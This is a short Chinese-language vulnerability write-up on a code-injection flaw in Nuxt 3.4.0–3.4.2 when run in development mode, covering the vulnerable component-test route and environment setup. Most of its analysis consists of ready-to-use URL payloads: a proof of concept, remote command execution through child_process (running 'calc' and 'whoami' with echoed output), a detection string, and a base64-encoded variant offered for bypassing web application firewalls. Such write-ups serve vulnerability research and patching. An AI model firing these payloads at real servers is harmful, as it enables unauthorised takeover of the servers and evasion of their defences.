漏洞很简单,仅进行部分补充及记录
01
漏洞概述
Nuxt在当服务端以开发模式启动时存在代码注入漏洞,远程未授权攻击者可利用此漏洞注入恶意代码并获取目标服务器权限。
前置条件:服务端以开发模式启动。
影响版本:Nuxt 3.4.0;3.4.1;3.4.2
02
漏洞分析
环境搭建(三步):
1、初始化
npm init -y
2、依赖安装
npm install nuxt@3.4.0
3、启动
npx nuxi dev
根据漏洞补丁可知,漏洞触发点在 nuxt-root.vue 对 /__nuxt_component_test__/ 开头的 URL进行处理,交由 test-component-wrapper.mjs ,在这里根据 query 中 path 参数值进行动态引入,导致可注入任意代码。
POC:
/__nuxt_component_test__/?path=data%3atext/javascript,console.log("test!");
RCE:
/__nuxt_component_test__/?path=data%3atext/javascript,(await%20import('child_process')).execSync('calc')
RCE + 回显:
/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error((await%20import('child_process')).execSync('whoami'));
03
漏洞检测
/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error(Buffer.from(%22medi0crity%22).toString(%27base64%27));
另:均可进行编码绕 WAF 等,如:
/__nuxt_component_test__/?path=data%3atext/javascript%3bcharset%3dutf-8%3bbase64,KGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5leGVjU3luYygnY2FsYycp